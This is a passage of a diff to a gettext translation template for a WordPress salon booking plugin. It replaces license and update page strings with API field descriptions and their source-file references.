activated on this site. You may need to deactivate it from another site first.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1567\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1780\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1567\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1780\n+msgid \"The discounts ids for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:198\n-msgid \"inactive\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1578\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:556\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1791\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1578\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:556\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1791\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510\n+msgid \"The duration for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:196\n-msgid \"expired\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:492\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:559\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:492\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:559\n+msgid \"The email address for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:192\n-msgid \"Deactivate License\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:688\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:791\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:688\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:791\n+msgid \"The email for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:226\n-msgid \"Payment id\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350\n+msgid \"The enabled for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:242\n-msgid \"Customer email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1506\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1719\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1506\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1719\n+msgid \"The end at.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:250\n-msgid \"Customer since\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:564\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:564\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518\n+msgid \"The exclusive for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:264\n-msgid \"Product Name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:194\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:194\n+msgid \"The export csv for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:272\n-msgid \"Expires\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:219\n+msgid \"The file type for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:306\n-msgid \"Version installed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:668\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:771\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:668\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:771\n+msgid \"The first name for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:319\n-msgid \"Subscription Status\"\n+#. %s: the name of the salon\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_status_canceled_content.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_status_canceled_content.php:24\n+#, php-format\n+msgid \"the following booking at %s has been canceled\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:347\n-msgid \"License Usage\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:557\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:687\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:624\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:557\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:687\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:624\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:641\n+msgid \"The friday.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:356\n-msgid \"%d of %d sites used (%d remaining)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512\n+msgid \"The from date for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:363\n-msgid \"License activation limit reached. Deactivate from another site to use on this site.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:609\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:637\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:745\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:676\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:704\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:609\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:637\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:745\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:676\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:704\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:699\n+msgid \"The from date.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:373\n-msgid \"Plugin Actions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:571\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:651\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:703\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:638\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:718\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:571\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:651\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:703\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:638\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:718\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:657\n+msgid \"The from time.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:381\n-msgid \"Check for Updates\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:632\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:699\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:632\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:699\n+msgid \"The holiday item.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:394\n-msgid \"Rollback Options\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:628\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:695\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:628\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:695\n+msgid \"The holidays for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:388\n-msgid \"Are you sure you want to rollback? This will revert to the previous version.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:672\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:764\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:739\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:672\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:764\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:739\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718\n+msgid \"The image url for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:389\n-msgid \"Rollback to Previous Version\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1872\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1872\n+msgid \"The key\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:402\n-msgid \"Available Rollback 